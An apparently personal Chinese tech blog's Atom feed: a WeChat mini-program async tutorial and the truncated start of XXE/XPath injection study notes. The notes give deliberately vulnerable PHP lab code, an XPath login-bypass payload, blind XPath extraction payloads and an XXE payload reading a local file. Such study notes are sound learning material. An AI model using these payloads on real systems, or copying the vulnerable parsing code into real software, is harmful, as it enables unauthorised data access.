href="https://www.leavesongs.com/content/files/slides/%E6%9D%A5%E8%87%AA%E5%B0%8F%E5%AF%86%E5%9C%88%E9%87%8C%E7%9A%84%E9%82%A3%E4%BA%9B%E5%A5%87%E6%8A%80%E6%B7%AB%E5%B7%A7.pdf">来自小密圈里的那些奇技淫巧</a></li><li><a href="https://www.mi1k7ea.com/2019/06/30/命令注入Bypass技巧小结/">命令注入Bypass技巧小结</a></li><li><a href="https://www.freebuf.com/articles/web/154453.html">挖洞经验|命令注入突破长度限制</a></li><li><a href="https://chybeta.github.io/2017/08/15/%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E7%9A%84%E4%B8%80%E4%BA%9B%E7%BB%95%E8%BF%87%E6%8A%80%E5%B7%A7/">命令执行的一些绕过技巧</a></li></ul>]]></content>
    
    <summary type="html">
    
      
      
        &lt;span id=&quot;more&quot;&gt;&lt;/span&gt;

&lt;h2 id=&quot;突破命令长度限制&quot;&gt;&lt;a href=&quot;#突破命令长度限制&quot; class=&quot;headerlink&quot; title=&quot;突破命令长度限制&quot;&gt;&lt;/a&gt;&lt;strong&gt;突破命令长度限制&lt;/strong&gt;&lt;/h2&gt;&lt;p&gt;限制条件
      
    
    </summary>
    
    
      <category term="备忘录" scheme="https://www.extrader.top/categories/%E5%A4%87%E5%BF%98%E5%BD%95/"/>
    
    
      <category term="php" scheme="https://www.extrader.top/tags/php/"/>
    
      <category term="命令执行" scheme="https://www.extrader.top/tags/%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C/"/>
    
  </entry>
  
  <entry>
    <title>微信小程序有关异步问题的一些操作</title>
    <link href="https://www.extrader.top/posts/80b70afe/"/>
    <id>https://www.extrader.top/posts/80b70afe/</id>
    <published>2020-08-13T12:55:31.000Z</published>
    <updated>2022-03-26T05:48:51.040Z</updated>
    
    <content type="html"><![CDATA[<p>方法不唯一，后续有新方法再补上~</p><span id="more"></span><h3 id="Promise-对象"><a href="#Promise-对象" class="headerlink" title="Promise 对象"></a>Promise 对象</h3><pre class="language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">let</span> promise <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Promise</span><span class="token punctuation">(</span><span class="token keyword">function</span><span class="token punctuation">(</span><span class="token parameter">resolve<span class="token punctuation">,</span> reject</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span><span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token comment">/* 异步操作成功 */</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>        <span class="token function">resolve</span><span class="token punctuation">(</span>value<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span> <span class="token keyword">else</span> <span class="token punctuation">&#123;</span><span class="token function">reject</span><span class="token punctuation">(</span>error<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span>promise<span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token keyword">function</span><span class="token punctuation">(</span><span class="token parameter">value</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span> <span class="token comment">// success</span><span class="token punctuation">&#125;</span><span class="token punctuation">,</span> <span class="token keyword">function</span><span class="token punctuation">(</span><span class="token parameter">value</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span> <span class="token comment">// failure</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre><p>关于<code>promise</code>  具体可参考阮老师的<a href="https://es6.ruanyifeng.com/#docs/promise">Promise 对象</a></p><p>或者直接</p><pre class="language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">return</span> <span class="token keyword">new</span> <span class="token class-name">Promise</span><span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">resolve<span class="token punctuation">,</span> reject</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">try</span><span class="token punctuation">&#123;</span>    xxx  <span class="token punctuation">&#125;</span>  <span class="token keyword">catch</span><span class="token punctuation">(</span>e<span class="token punctuation">)</span><span class="token punctuation">&#123;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>e<span class="token punctuation">)</span> <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span></code></pre><h3 id="同步化异步函数"><a href="#同步化异步函数" class="headerlink" title="同步化异步函数"></a>同步化异步函数</h3><p>app.js</p><pre class="language-javascript" data-language="javascript"><code class="language-javascript"><span class="token comment">//app.js</span><span class="token keyword">function</span> <span class="token function">promisify</span><span class="token punctuation">(</span><span class="token parameter">api</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">return</span> <span class="token punctuation">(</span><span class="token parameter">opt<span class="token punctuation">,</span> <span class="token operator">...</span>arg</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">&#123;</span>    <span class="token keyword">return</span> <span class="token keyword">new</span> <span class="token class-name">Promise</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">resolve<span class="token punctuation">,</span> reject</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">&#123;</span>      <span class="token function">api</span><span class="token punctuation">(</span>Object<span class="token punctuation">.</span><span class="token function">assign</span><span class="token punctuation">(</span><span class="token punctuation">&#123;</span><span class="token punctuation">&#125;</span><span class="token punctuation">,</span> opt<span class="token punctuation">,</span> <span class="token punctuation">&#123;</span> <span class="token literal-property property">success</span><span class="token operator">:</span> resolve<span class="token punctuation">,</span> <span class="token literal-property property">fail</span><span class="token operator">:</span> reject <span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token operator">...</span>arg<span class="token punctuation">)</span>    <span class="token punctuation">&#125;</span><span class="token punctuation">)</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span class="token function">App</span><span class="token punctuation">(</span><span class="token punctuation">&#123;</span>  <span class="token literal-property property">request</span><span class="token operator">:</span> <span class="token function">promisify</span><span class="token punctuation">(</span>wx<span class="token punctuation">.</span>request<span class="token punctuation">)</span><span class="token punctuation">,</span>  <span class="token literal-property property">getUserInfo</span><span class="token operator">:</span> <span class="token function">promisify</span><span class="token punctuation">(</span>wx<span class="token punctuation">.</span>getUserInfo<span class="token punctuation">)</span><span class="token punctuation">,</span>  <span class="token function-variable function">onLaunch</span><span class="token operator">:</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    xxx  <span class="token punctuation">&#125;</span><span class="token punctuation">,</span>  <span class="token literal-property property">globalData</span><span class="token operator">:</span> <span class="token punctuation">&#123;</span> <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span></code></pre><p>index.js使用</p><pre class="language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">let</span> app <span class="token operator">=</span> <span class="token function">getApp</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token function">Page</span><span class="token punctuation">(</span><span class="token punctuation">&#123;</span>  <span class="token function-variable function">showdate</span><span class="token operator">:</span> <span class="token keyword">async</span> <span class="token keyword">function</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token keyword">let</span> res <span class="token operator">=</span> <span class="token keyword">await</span> app<span class="token punctuation">.</span><span class="token function">request</span><span class="token punctuation">(</span><span class="token punctuation">&#123;</span><span class="token literal-property property">url</span><span class="token operator">:</span><span class="token string">'xxx'</span><span class="token punctuation">,</span><span class="token punctuation">,</span><span class="token literal-property property">method</span><span class="token operator">:</span><span class="token string">'POST'</span><span class="token punctuation">,</span><span class="token literal-property property">data</span><span class="token operator">:</span><span class="token punctuation">&#123;</span><span class="token literal-property property">x</span><span class="token operator">:</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token literal-property property">y</span><span class="token operator">:</span><span class="token number">1</span><span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span>    console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>res<span class="token punctuation">)</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span></code></pre><p><code>Object.assign()</code> 方法用于将所有可枚举属性的值从一个或多个源对象复制到目标对象。它将返回目标对象。</p><h3 id="wx-request请求封装"><a href="#wx-request请求封装" class="headerlink" title="wx.request请求封装"></a>wx.request请求封装</h3><h4 id="异步"><a href="#异步" class="headerlink" title="异步"></a>异步</h4><p><code>api/index.js</code>封装</p><pre class="language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">const</span> <span class="token function-variable function">getdata</span> <span class="token operator">=</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">url<span class="token punctuation">,</span> data<span class="token punctuation">,</span> callback</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  wx<span class="token punctuation">.</span><span class="token function">request</span><span class="token punctuation">(</span><span class="token punctuation">&#123;</span>      <span class="token literal-property property">url</span><span class="token operator">:</span> url<span class="token punctuation">,</span>      <span class="token literal-property property">data</span><span class="token operator">:</span> data<span class="token punctuation">,</span>      <span class="token literal-property property">method</span><span class="token operator">:</span> <span class="token string">'GET'</span><span class="token punctuation">,</span>      <span class="token literal-property property">header</span><span class="token operator">:</span> <span class="token punctuation">&#123;</span>        <span class="token string-property property">'Content-Type'</span><span class="token operator">:</span> <span class="token string">'application/json'</span>      <span class="token punctuation">&#125;</span><span class="token punctuation">,</span>      <span class="token function-variable function">success</span><span class="token operator">:</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">res</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        <span class="token keyword">return</span> <span class="token keyword">typeof</span> callback <span class="token operator">==</span> <span class="token string">"function"</span> <span class="token operator">&amp;&amp;</span> <span class="token function">callback</span><span class="token punctuation">(</span>res<span class="token punctuation">.</span>data<span class="token punctuation">)</span>      <span class="token punctuation">&#125;</span><span class="token punctuation">,</span>      <span class="token function-variable function">fail</span><span class="token operator">:</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">res</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        <span class="token keyword">return</span> <span class="token keyword">typeof</span> callback <span class="token operator">==</span> <span class="token string">"function"</span> <span class="token operator">&amp;&amp;</span> <span class="token function">callback</span><span class="token punctuation">(</span><span class="token boolean">false</span><span class="token punctuation">)</span>      <span class="token punctuation">&#125;</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">&#125;</span><span class="token keyword">const</span> <span class="token function-variable function">postdata</span> <span class="token operator">=</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">url<span class="token punctuation">,</span> data<span class="token punctuation">,</span> callback</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  wx<span class="token punctuation">.</span><span class="token function">request</span><span class="token punctuation">(</span><span class="token punctuation">&#123;</span>      <span class="token literal-property property">url</span><span class="token operator">:</span> url<span class="token punctuation">,</span>      <span class="token literal-property property">data</span><span class="token operator">:</span> data<span class="token punctuation">,</span>      <span class="token literal-property property">method</span><span class="token operator">:</span> <span class="token string">'POST'</span><span class="token punctuation">,</span>      <span class="token literal-property property">header</span><span class="token operator">:</span> <span class="token punctuation">&#123;</span>        <span class="token string-property property">'Content-Type'</span><span class="token operator">:</span> <span class="token string">'application/x-www-form-urlencoded'</span>      <span class="token punctuation">&#125;</span><span class="token punctuation">,</span>      <span class="token function-variable function">success</span><span class="token operator">:</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">res</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        <span class="token keyword">return</span> <span class="token keyword">typeof</span> callback <span class="token operator">==</span> <span class="token string">"function"</span> <span class="token operator">&amp;&amp;</span> <span class="token function">callback</span><span class="token punctuation">(</span>res<span class="token punctuation">.</span>data<span class="token punctuation">)</span>      <span class="token punctuation">&#125;</span><span class="token punctuation">,</span>      <span class="token function-variable function">fail</span><span class="token operator">:</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">res</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        <span class="token keyword">return</span> <span class="token keyword">typeof</span> callback <span class="token operator">==</span> <span class="token string">"function"</span> <span class="token operator">&amp;&amp;</span> <span class="token function">callback</span><span class="token punctuation">(</span><span class="token boolean">false</span><span class="token punctuation">)</span>      <span class="token punctuation">&#125;</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">&#125;</span>module<span class="token punctuation">.</span>exports <span class="token operator">=</span> <span class="token punctuation">&#123;</span>  getdata<span class="token punctuation">,</span>  postdata<span class="token punctuation">&#125;</span></code></pre><p><code>app.js</code>引入</p><pre class="language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">const</span> api <span class="token operator">=</span> <span class="token function">require</span><span class="token punctuation">(</span>'<span class="token punctuation">.</span><span class="token operator">/</span>api<span class="token operator">/</span>index<span class="token function">App</span><span class="token punctuation">(</span><span class="token punctuation">&#123;</span>  <span class="token function-variable function">onLaunch</span><span class="token operator">:</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    xxx  <span class="token punctuation">&#125;</span><span class="token punctuation">,</span>  <span class="token literal-property property">globalData</span><span class="token operator">:</span> <span class="token punctuation">&#123;</span>    api  <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span></code></pre><p><code>index.js</code>使用</p><pre class="language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">const</span> app <span class="token operator">=</span> <span class="token function">getApp</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">const</span> api <span class="token operator">=</span> app<span class="token punctuation">.</span>globalData<span class="token punctuation">.</span>api<span class="token function">Page</span><span class="token punctuation">(</span><span class="token punctuation">&#123;</span>  api<span class="token punctuation">.</span><span class="token function">getdata</span><span class="token punctuation">(</span><span class="token string">"xxx"</span><span class="token punctuation">,</span> <span class="token punctuation">&#123;</span><span class="token punctuation">&#125;</span><span class="token punctuation">,</span>  <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">res</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>res<span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  api<span class="token punctuation">.</span><span class="token function">postdata</span><span class="token punctuation">(</span><span class="token string">"xxx"</span><span class="token punctuation">,</span> <span class="token punctuation">&#123;</span><span class="token literal-property property">x</span><span class="token operator">:</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token literal-property property">y</span><span class="token operator">:</span><span class="token number">1</span><span class="token punctuation">&#125;</span><span class="token punctuation">,</span>  <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">res</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>res<span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span></code></pre><h4 id="同步"><a href="#同步" class="headerlink" title="同步"></a>同步</h4><p><code>app.js</code>引入</p><pre class="language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">function</span> <span class="token function">promisify</span><span class="token punctuation">(</span><span class="token parameter">api</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">return</span> <span class="token punctuation">(</span><span class="token parameter">opt<span class="token punctuation">,</span> <span class="token operator">...</span>arg</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">&#123;</span>    <span class="token keyword">return</span> <span class="token keyword">new</span> <span class="token class-name">Promise</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">resolve<span class="token punctuation">,</span> reject</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">&#123;</span>      <span class="token function">api</span><span class="token punctuation">(</span>Object<span class="token punctuation">.</span><span class="token function">assign</span><span class="token punctuation">(</span><span class="token punctuation">&#123;</span><span class="token punctuation">&#125;</span><span class="token punctuation">,</span> opt<span class="token punctuation">,</span> <span class="token punctuation">&#123;</span> <span class="token literal-property property">success</span><span class="token operator">:</span> resolve<span class="token punctuation">,</span> <span class="token literal-property property">fail</span><span class="token operator">:</span> reject <span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token operator">...</span>arg<span class="token punctuation">)</span>    <span class="token punctuation">&#125;</span><span class="token punctuation">)</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span class="token function">App</span><span class="token punctuation">(</span><span class="token punctuation">&#123;</span>  <span class="token literal-property property">request</span><span class="token operator">:</span> <span class="token function">promisify</span><span class="token punctuation">(</span>wx<span class="token punctuation">.</span>request<span class="token punctuation">)</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span></code></pre><p><code>index.js</code>使用</p><pre class="language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">const</span> app <span class="token operator">=</span> <span class="token function">getApp</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token function">Page</span><span class="token punctuation">(</span><span class="token punctuation">&#123;</span>  <span class="token function-variable function">showdate</span><span class="token operator">:</span> <span class="token keyword">async</span> <span class="token keyword">function</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token keyword">let</span> res <span class="token operator">=</span> <span class="token keyword">await</span> app<span class="token punctuation">.</span><span class="token function">request</span><span class="token punctuation">(</span><span class="token punctuation">&#123;</span><span class="token literal-property property">url</span><span class="token operator">:</span><span class="token string">'xxx'</span><span class="token punctuation">,</span><span class="token literal-property property">method</span><span class="token operator">:</span><span class="token string">'GET'</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span>    console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>res<span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span></code></pre><h3 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h3><ul><li><a href="https://es6.ruanyifeng.com/#docs/promise">Promise 对象</a></li><li><a href="https://blog.csdn.net/weixin_44833680/article/details/102658108">微信小程序封装异步请求</a></li><li><a href="https://developers.weixin.qq.com/community/develop/article/doc/00028cbc2e04e0ddf549d535351c13">将小程序原生异步函数promisify后，在async/await中使用</a></li><li><a href="https://developers.weixin.qq.com/community/develop/article/doc/000ceaee71c9d09ae5b8c77d151813">微信小程序中使用Async/Await方法异步请求变为同步请求</a></li></ul>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;方法不唯一，后续有新方法再补上~&lt;/p&gt;
    
    </summary>
    
    
      <category term="开发" scheme="https://www.extrader.top/categories/%E5%BC%80%E5%8F%91/"/>
    
    
      <category term="JavaScript" scheme="https://www.extrader.top/tags/JavaScript/"/>
    
  </entry>
  
  <entry>
    <title>XXE学习笔记</title>
    <link href="https://www.extrader.top/posts/55c267c8/"/>
    <id>https://www.extrader.top/posts/55c267c8/</id>
    <published>2020-08-11T02:06:34.000Z</published>
    <updated>2022-03-26T05:48:51.023Z</updated>
    
    <content type="html"><![CDATA[<span id="more"></span><h3 id="XPath注入"><a href="#XPath注入" class="headerlink" title="XPath注入"></a>XPath注入</h3><p>XPath注入对象是一个存储数据的XML文件</p><h4 id="环境搭建"><a href="#环境搭建" class="headerlink" title="环境搭建"></a>环境搭建</h4><p><strong>index.xml</strong></p><pre class="language-markup" data-language="markup"><code class="language-markup"><span class="token prolog">&lt;?xml version="1.0" encoding="UTF-8"?></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>root</span><span class="token punctuation">></span></span>    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>users</span><span class="token punctuation">></span></span>         <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>user</span><span class="token punctuation">></span></span>             <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>id</span><span class="token punctuation">></span></span>1<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>id</span><span class="token punctuation">></span></span>            <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>username</span><span class="token punctuation">></span></span>root<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>username</span><span class="token punctuation">></span></span>            <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>password</span><span class="token punctuation">></span></span>rootpwd<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>password</span><span class="token punctuation">></span></span>        <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>user</span><span class="token punctuation">></span></span>         <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>user</span><span class="token punctuation">></span></span>             <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>id</span><span class="token punctuation">></span></span>2<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>id</span><span class="token punctuation">></span></span>            <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>username</span><span class="token punctuation">></span></span>admin<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>username</span><span class="token punctuation">></span></span>            <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>password</span><span class="token punctuation">></span></span>adminpwd<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>password</span><span class="token punctuation">></span></span>        <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>user</span><span class="token punctuation">></span></span>    <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>users</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>root</span><span class="token punctuation">></span></span></code></pre><p><strong>index.php</strong></p><pre class="language-php" data-language="php"><code class="language-php"><span class="token php language-php"><span class="token delimiter important">&lt;?php</span><span class="token variable">$xml</span><span class="token operator">=</span><span class="token function">simplexml_load_file</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'index.xml'</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token variable">$name</span><span class="token operator">=</span><span class="token variable">$_GET</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'name'</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token variable">$pwd</span><span class="token operator">=</span><span class="token variable">$_GET</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'pwd'</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token variable">$query</span><span class="token operator">=</span><span class="token string double-quoted-string">"/root/users/user[username/text()='"</span><span class="token operator">.</span><span class="token variable">$name</span><span class="token operator">.</span><span class="token string double-quoted-string">"' and password/text()='"</span><span class="token operator">.</span><span class="token variable">$pwd</span><span class="token operator">.</span><span class="token string double-quoted-string">"']"</span><span class="token punctuation">;</span><span class="token keyword">echo</span> <span class="token variable">$query</span><span class="token punctuation">;</span><span class="token variable">$result</span><span class="token operator">=</span><span class="token variable">$xml</span><span class="token operator">-></span><span class="token function">xpath</span><span class="token punctuation">(</span><span class="token variable">$query</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">if</span><span class="token punctuation">(</span><span class="token variable">$result</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token keyword">echo</span> <span class="token string single-quoted-string">'&lt;h2>Welcome&lt;/h2>'</span><span class="token punctuation">;</span>    <span class="token keyword">foreach</span><span class="token punctuation">(</span><span class="token variable">$result</span> <span class="token keyword">as</span> <span class="token variable">$key</span><span class="token operator">=></span><span class="token variable">$value</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>        <span class="token keyword">echo</span> <span class="token string single-quoted-string">'&lt;br />ID:'</span><span class="token operator">.</span><span class="token variable">$value</span><span class="token operator">-></span><span class="token property">id</span><span class="token punctuation">;</span>        <span class="token keyword">echo</span> <span class="token string single-quoted-string">'&lt;br />Username:'</span><span class="token operator">.</span><span class="token variable">$value</span><span class="token operator">-></span><span class="token property">username</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span class="token delimiter important">?></span></span></code></pre><h4 id="直接注入"><a href="#直接注入" class="headerlink" title="直接注入"></a>直接注入</h4><p><strong>payload</strong></p><p><code>?name=&#39; or 1=1 or &#39;&#39;=&#39;&amp;pwd=1</code>，结果如下，类似sql注入，绕过了xml查询</p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/XXE%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/image-20200811093843233.png" alt loading="lazy"></p><h4 id="盲注"><a href="#盲注" class="headerlink" title="盲注"></a>盲注</h4><p><strong>payload</strong></p><p>有返回结果则为正确</p><pre class="language-markup" data-language="markup"><code class="language-markup">推测根节点数，有返回结果则说明只有一个根节点' or count(/*) = 1 or '1' = '2  猜解一级节点' or substring(name(/*[position() = 1]),1,1)='r' or '1'='2  ' or substring(name(/*[position() = 1]),1,1)='o' or '1'='2  ......推测root的下一级节点数' or count(/root/*) = 1 or '1' = '2猜解root的下一级节点' or substring(name(/root/*[position() = 1]),1,1)='u' or '1'='2' or substring(name(/root/*[position() = 1]),1,1)='s' or '1'='2......猜解节点中的数据' or /root/users/user[1]/username[contains(text(),'r')] or '1'='2  ' or /root/users/user[1]/username[contains(text(),'ro')] or '1'='2  ......</code></pre><ul><li><code>/ ：</code>从根节点选取</li><li><code>// ：</code>从匹配选择的当前节点选择文档中的节点，而不考虑它们的位置</li><li><code>. ：</code>选取当前节点</li><li><code>.. ：</code>选取当前节点的父节点</li></ul><h3 id="XML外部实体注入-XXE"><a href="#XML外部实体注入-XXE" class="headerlink" title="XML外部实体注入(XXE)"></a>XML外部实体注入(XXE)</h3><blockquote><p>XXE漏洞发生在应用程序解析XML输入时，没有禁止外部实体的加载，导致可加载恶意外部文件和代码，造成<strong>任意文件读取、命令执行、内网端口扫描、攻击内网网站、发起Dos攻击</strong>等危害。</p><p>XXE漏洞触发的点往往是可以上传xml文件的位置，没有对上传的xml文件进行过滤，导致可上传恶意xml文件。</p></blockquote><blockquote><p>XXE的造成与PHP版本无关，与libxml库的版本有关。libxml &lt;= 2.9.0中，默认启用了外部实体，libxml&gt;2.9.0中默认仅用了外部实体。XXE并不是直接由libxml库造成的，libxml库提供了一些XML核心功能，包括禁用外部实体的libxml_disable_entity_loader()函数，SimpleXML库提供了解析XML的函数，SimpleXML库依赖于libxml库。</p></blockquote><p>本地测试环境php.4.45   libxml = 2.7.8</p><p>外部实体可支持http、file等协议。不同程序支持的协议不同</p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/XXE%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/image-20200811110816675.png" alt loading="lazy"></p><h4 id="读取任意文件"><a href="#读取任意文件" class="headerlink" title="读取任意文件"></a>读取任意文件</h4><h5 id="有回显"><a href="#有回显" class="headerlink" title="有回显"></a>有回显</h5><p><strong>xxe.php</strong></p><pre class="language-php" data-language="php"><code class="language-php"><span class="token php language-php"><span class="token delimiter important">&lt;?php</span><span class="token variable">$xml</span> <span class="token operator">=</span> <span class="token function">simplexml_load_string</span><span class="token punctuation">(</span><span class="token variable">$_REQUEST</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'xml'</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token function">print_r</span><span class="token punctuation">(</span><span class="token variable">$xml</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token delimiter important">?></span></span></code></pre><p><strong>payload</strong></p><pre class="language-markup" data-language="markup"><code class="language-markup"><span class="token prolog">&lt;?xml version="1.0" encoding="utf-8"?></span><span class="token doctype"><span class="token punctuation">&lt;!</span><span class="token doctype-tag">DOCTYPE</span> <span class="token name">xxe</span> <span class="token punctuation">[</span><span class="token internal-subset"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>!ELEMENT</span> <span class="token attr-name">name</span> <span class="token attr-name">ANY</span> <span class="token punctuation">></span></span>&lt;!ENTITY file SYSTEM "file:///d://flag.txt" ></span><span class="token punctuation">]</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>root</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>name</span><span class="token punctuation">></span></span><span class="token entity named-entity" title="&file;">&amp;file;</span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>name</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>root</span><span class="token punctuation">></span></span></code></pre><p>url编码后给传入，即在 xml 中 <code>&amp;file ;</code> 变成了外部文件<code>qwzf.txt</code>中内容，导致敏感信息泄露。</p><p><img src="https://cdn.jsdelivr.net/gh/Extrader-home/blogimage@master/image/XXE%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/image-20200811102323743.png" alt loading="lazy"></p><h5 id="无回显"><a href="#无回显" class="headerlink" title="无回显"></a>无回显</h5><p><strong>xxe.php</strong></p><pre class="language-php" data-language="php"><code class="language-php"><span class="token php language-php"><span class="token delimiter important">&lt;?php</span><span class="token variable">$xml</span> <span class="token operator">=</span> <span class="token function">simplexml_load_string</span><span class="token 